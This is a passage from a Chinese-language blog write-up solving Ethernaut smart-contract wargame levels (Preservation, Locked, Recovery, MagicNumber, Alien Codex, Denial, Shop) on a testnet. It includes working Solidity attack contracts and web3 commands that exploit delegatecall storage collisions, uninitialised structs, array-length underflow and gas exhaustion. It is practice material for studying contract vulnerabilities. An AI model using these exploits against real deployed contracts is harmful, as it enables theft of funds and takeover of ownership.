// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

Analyse

  • delegatecall 定义:
    .delegatecall(…) returns (bool): issue low-level DELEGATECALL, returns false on failure, forwards all available gas, adjustable
  • delegatecallcall 功能类似,区别在于 delegatecall 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。注意 delegatecall 是危险函数,它可以完全操作当前合约的状态,可以参考第7题 Delegation
  • delegateCall 方法仅仅使用目标合约的代码, 其余的 storage 等数据均使用自己的,这就使得某些访存操作会错误的处理对象
  • 所以这个题可以这样解决:
    • 我们调用 PreservationsetFirstTime 函数实际通过 delegatecall 执行了 LibraryContractsetTime 函数,修改了 slot 1 ,也就是修改了 timeZone1Library 变量
    • 这样,我们第一次调用 setFirstTimetimeZone1Library 变量修改为我们的恶意合约的地址,第二次调用 setFirstTime 就可以执行我们的任意代码了

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pragma solidity ^0.4.23;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

contract attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;

address instance_address = 0x7cec052e622c0fb68ca3b2e3c899b8bf8b78663c;
Preservation target = Preservation(instance_address);
function attack1() {
target.setFirstTime(uint(address(this)));
}
function attack2() {
target.setFirstTime(uint(0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2));
}
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner = address(_time);
}
}

先调用 attack1() ,再调用 attack2() 即可


Locked

Require

  • This name registrar is locked and will not accept any new names to be registered.
  • Unlock this registrar to beat the level.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

bool public unlocked = false; // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;

resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;

require(unlocked); // only allow registrations if contract is unlocked
}
}

Analyse

  • 典型的利用 struct 默认是 storage 的题目
  • 函数中声明的 newRecord 结构体修改 namemappedAddress 实际分别改的是 unlockedbytes32 name
  • 所以把 name 对应的 slot 0 的值改成 1 就行了

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

bool public unlocked = false; // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;

resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;

require(unlocked); // only allow registrations if contract is unlocked
}
}

contract hack {
address instance_addr = 0xfce5ca4942678982889e6c9934a2afb02c670098;
Locked target = Locked(instance_addr);
function exploit() {
target.register(1, tx.origin);
}
}

调用 exploit() 即可


Recovery

Require

  • A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.
  • This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address
  • 其实简单来说就是已知一个 Recovery 合约地址,恢复一下它创建的 SimpleToken 地址,然后将 0.5 eth 从丢失地址的合约中提出即可

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.4.23;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
function() public payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address _to) public {
selfdestruct(_to);
}
}

Analyse

  • 区块链上所有信息都是公开的,直接上 ropsten 测试网的官方网页查就可以了

Solution

方法一

  • 再通过交易信息找到生产合约 lost contract 的地址: 0x77a70a61a077e3aee72404e0e70211bfa72e962b

  • remix 部署 SimpleToken ,使用 At address 指定 lost contract 的地址,然后执行 destroy(play_address) 即可

一些分析

  • 方法一提交之后,Zeppelin 给出了原理如下:

Contract addresses are deterministic and are calculated by keccack256(address, nonce) where the address is the address of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).
Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.
An interesting blog post by Martin Swende details potential use cases of this.
If you’re going to implement this technique, make sure you don’t miss the nonce, or your funds will be lost forever.

  • 原来题目的考点是合约地址可计算,所以这题有两种解法

方法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def rlp_encode(input):
if isinstance(input,str):
if len(input) == 1 and ord(input) < 0x80: return input
else: return encode_length(len(input), 0x80) + input
elif isinstance(input,list):
output = ''
for item in input: output += rlp_encode(item)
return encode_length(len(output), 0xc0) + output

def encode_length(L,offset):
if L < 56:
return chr(L + offset)
elif L < 256**8:
BL = to_binary(L)
return chr(len(BL) + offset + 55) + BL
else:
raise Exception("input too long")

def to_binary(x):
if x == 0:
return ''
else:
return to_binary(int(x / 256)) + chr(x % 256)

print rlp_encode(["d29fcc4b193a576a17af9194d706b17ce5da24e2".decode('hex'),"01".decode('hex')]).encode('hex')
  • 结果是 d694d29fcc4b193a576a17af9194d706b17ce5da24e201
  • 拿到 solidity 计算地址
1
2
3
4
5
6
pragma solidity ^0.4.18;
contract test{
function func() view returns (address){
return address(keccak256(0xd694d29fcc4b193a576a17af9194d706b17ce5da24e201));
}
}
  • 可以看到计算的地址和方法一是一样的


MagicNumber

Require

To solve this level, you only need to provide the Ethernaut with a “Solver”, a contract that responds to “whatIsTheMeaningOfLife()” with the right number.
Easy right? Well… there’s a catch.
The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.
Good luck!

  • 题目的意思就是部署一个合约 Solver ,要求在被调用 whatIsTheMeaningOfLife() 函数时返回 42 就可以了,但有一个限制是不能超过 10opcode

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.4.24;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

Analyse

多说的话

先看一下 contract creation 期间会发生什么:
1、首先,用户或合约将交易发送到以太网网络。此交易包含数据,但没有 to 地址,表明这是一个合约创建,而不是一个 send/call transaction
2、其次,EVMSolidity(高级语言)的合约代码编译为 bytecode(底层的机器语言),该 bytecode 直接转换为 opcodes ,在单个调用堆栈中运行

需要注意的是:contract creationbytecode 包含两部分:initialization coderuntime code

3、在 contract creation 期间,EVM 仅执行 initialization code 直到到达堆栈中的第一条 STOPRETURN 指令,在此阶段,合约的 constructor() 会被运行,合约便有地址了

在运行 initialization code 后,只有 runtime code 在堆栈上,然后将这些 opcode 拷贝memory 并返回到 EVM

4、最后,EVMruntime code 返回的 opcode 存储在 state storage ,并与新的合约地址相关联,在将来对新合约的调用时,这些 runtime code 将被执行

对于该题

  • 所以为了解决该题,我们需要 initialization opcodesruntime codes
    • initialization opcodes: 由 EVM 运行创建合约并存储将来要用的 runtime codes
    • runtime codes: 包含所需的实际执行逻辑。对于本题来说,这是应该返回的代码的主要部分,应该 return 42 并且 under 10 opcodes

1、先来看 runtime codes :

  • 返回值由 return(p, s) 操作码处理,但是在返回值之前,必须先存储在内存中,使用 mstore(p, v)42 存储在内存中

    • 首先,使用 mstore(p, v)42 存储在内存中,其中 p 是在内存中的存储位置, v 是十六进制值,42 的十六进制是 0x2a

      1
      2
      3
      0x602a     ;PUSH1 0x2a                  v
      0x6080 ;PUSH1 0x80 p
      0x52 ;MSTORE
    • 然后,使用 return(p, s) 返回 0x2a ,其中 p 是值 0x2a 存储的位置,s 是值 0x2a 存储所占的大小 0x20 ,占32字节

      1
      2
      3
      0x6020     ;PUSH1 0x20                  s
      0x6080 ;PUSH1 0x80 p
      0xf3 ;RETURN
  • 所以 runtime codes 应该是 602a60805260206080f3 ,正好 10 opcodes

2、再来看 initialization codes :

  • 首先,initialization codes 需要先将 runtime codes 拷贝到内存,然后再将其返回到 EVM 。将代码从一个地方复制到另一个地方是 codecopy(t, f, s) 操作码。t 是代码的目标位置,fruntime codes 的当前位置,s 是代码的大小,以字节为单位,对于 602a60805260206080f3 就是 10 bytes

    1
    2
    3
    4
    5
    ;copy bytecode to memory
    0x600a ;PUSH1 0x0a S(runtime code size)
    0x60?? ;PUSH1 0x?? F(current position of runtime opcodes)
    0x6000 ;PUSH1 0x00 T(destination memory index 0)
    0x39 ;CODECOPY
  • 然后,需要将内存中的 runtime codes 返回到 EVM

    1
    2
    3
    4
    ;return code from memory to EVM
    0x600a ;PUSH1 0x0a S
    0x6000 ;PUSH1 0x00 P
    0xf3 ;RETURN
  • initialization codes 总共占了 0x0c 字节,这表示 runtime codes 从索引 0x0c 开始,所以 ?? 的地方是 0x0c

  • 所以,initialization codes 最后的顺序是 600a600c600039600a6000f3

所以,opcodes最后的顺序是 0x600a600c600039600a6000f3602a60805260206080f3

Solution

1
2
var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});

  • 调用题目合约 setsolver(“0x7baa1861df4eff11ff258e657bff2420be19b564”) 即可



Alien Codex

Require

  • You've uncovered an Alien contract. Claim ownership to complete the level.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact(bytes32[] _firstContactMessage) public {
assert(_firstContactMessage.length > 2**200);
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

Analyse

  • 合约开头 importOwnable.sol 合约,同时也引入了一个 owner 变量
1
2
await web3.eth.getStorageAt(instance, 0, function(x, y) {console.info(y)});
// 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5
  • 其中 owner = 0x73048cec9010e92c298b016966bde1cc47299df5contract = 0x0,这是由于 EVM 存储优化的关系,可以参考 https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage 并且数组 codexslot1 ,同时这也是存储数组 length 的地方,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置

  • 这样我们就知道了 codex 实际的存储的 slot ,可以将动态数组内变量的存储位计算方法概括为: array[array_slot_index] == SLOAD(keccak256(slot(array)) + slot_index). 因为总共有 2^256slot ,要修改 slot 0 ,假设 codex 实际所在 slot x ,(对于本题来说,数组的 slot1 , x=keccak256(bytes32(1))) ,那么当我们修改 codex[y],(y=2^256-x+0) 时就能修改 slot 0 ,从而修改 owner

    • 我们要修改 codex[y] ,那就要满足 y < codex.length ,而这个时候 codex.length =0 ,但是我们可以通过 retract() 使 length 下溢,然后就可以操纵 codex[y]
1
2
3
await web3.eth.getStorageAt(instance, 1, function(x, y) {console.info(y)});
// codex.length
// 0x0000000000000000000000000000000000000000000000000000000000000000
  • 但是无论调用题目合约哪个函数,都要满足 modifier contacted() ,所以要先使 contact=true ,也就是要先解决 make_contact 这个问题

Solution

1、先看 make_contact 函数,我们需要传人一个 length>2^200 的数组,OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验,所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送

1
2
3
4
5
6
7
8
9
10
11
12
sig = web3.sha3("make_contact(bytes32[])").slice(0,10)     // 函数id
// "0x1d3d4c0b"
data1 = "0000000000000000000000000000000000000000000000000000000000000020" //偏移,指的是除了函数id,数组内容开始的位置,在这里我们设置的是offset=32
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001" //length>2^200
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true

2、计算 codex 位置为 slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

  • 所以 y = 2^256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 0
  • y = 35707666377435648211887908874984608119992236509074197713628505308453184860938
1
2
3
4
5
6
7
8
9
pragma solidity ^0.4.24;

contract codex {

function cal() view returns(bytes32){
return keccak256((bytes32(1)));
}

}

3、可以看到 y = 35707666377435648211887908874984608119992236509074197713628505308453184860938 很大,而 codex.length=0(见Analyse) 很小,我们通过 retract() 使得 codex 数组 length 下溢,使其满足 y < codex.length

1
2
3
4
5
6
7
8
web3.eth.getStorageAt(instance, 1, function(x, y) {console.info(y)}); // codex.length
// 0x0000000000000000000000000000000000000000000000000000000000000000

contract.retract()
// codex.length--

web3.eth.getStorageAt(instance, 1, function(x, y) {console.info(y)}); // codex.length
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

4、由2和3已经计算出 codex[35707666377435648211887908874984608119992236509074197713628505308453184860938] 对应的存储位就是 slot 0 ,在 Analyse 中提到 slot 0 中同时存储了 contactowner ,我们只需将 owner 换成 player 地址即可

1
2
3
4
5
6
7
8
9
await contract.owner()
// "0x73048cec9010e92c298b016966bde1cc47299df5"
player
// "0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2"
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x00000000000000000000000088d3052d12527f1fbe3a6e1444ea72c4ddb396c2')
// 调用 revise()
await contract.owner()
// "0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2"
// Submit instance



Denial

Require

  • This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
  • If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.
  • 结合代码看了一下,要求就是在调用 withdraw 时,禁止 owner 转走账户的 1% 的余额

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.24;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
function() payable {}

// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}

Analyse

  • 可以使 transfer 失败,也就是把 gas 耗光
  • 使用 assert 失败的话,将会 spend all gas ,这样的话 owner.transfer(amountToSend) 将执行失败
  • 这里还有一个很明显的重入漏洞 partner.call.value(amountToSend)() ,利用重入漏洞把 gas 消耗完,应该也可以达到目的(自行尝试)

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pragma solidity ^0.4.24;

contract Denial {

address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
function() payable {}

// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}

contract hack {
address instance_address = 0xe6cdb72d9fec660b78eb2390ffa67ab61b766e51;
Denial target = Denial(instance_address);

function hack1() public {
target.setWithdrawPartner(address(this));
target.withdraw();
}

function() payable {
assert(0==1);
}
}

直接调用 hack1() 即可

Shop

Require

  • 题目意思是修改 price 小于 100
  • (不过这个题目好像下线了23333)

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity 0.4.24;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}

Analyse

  • 本来想的是利用 storage 修改,可是修改变量需要 5000 gas,但是我们只有 3000
  • 所以需要另想办法,发现 isSoldpublic 属性,所以可以利用 isSold ,根据 isSold 进行判断,两次调用 _buyer.price.gas(3000)() 第一次返回大于等于 100 ,第二次返回小于 100 即可

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity 0.4.24;

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}

contract Buyer {
address instance_address = instance_address_here;
Shop target = Shop(instance_address);

function price() external view returns (uint){
return Shop(msg.sender).isSold() == true ? 99 : 100;
}

function attack() public {
target.buy();
}
}

直接调用 attack() 即可

Reference
http://mitah.cn/index.php/archives/14/
https://f3real.github.io/Ethernaut_wargame2022.html#lvl-21-denial
https://www.codercto.com/a/38161.html
https://www.secpulse.com/archives/73682.html
https://www.anquanke.com/post/id/148341#h2-12
https://xz.aliyun.com/t/2856#toc-4
https://blog.riskivy.com/智能合约ctf:ethernaut-writeup-part-4/
https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2019/ethernaut/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!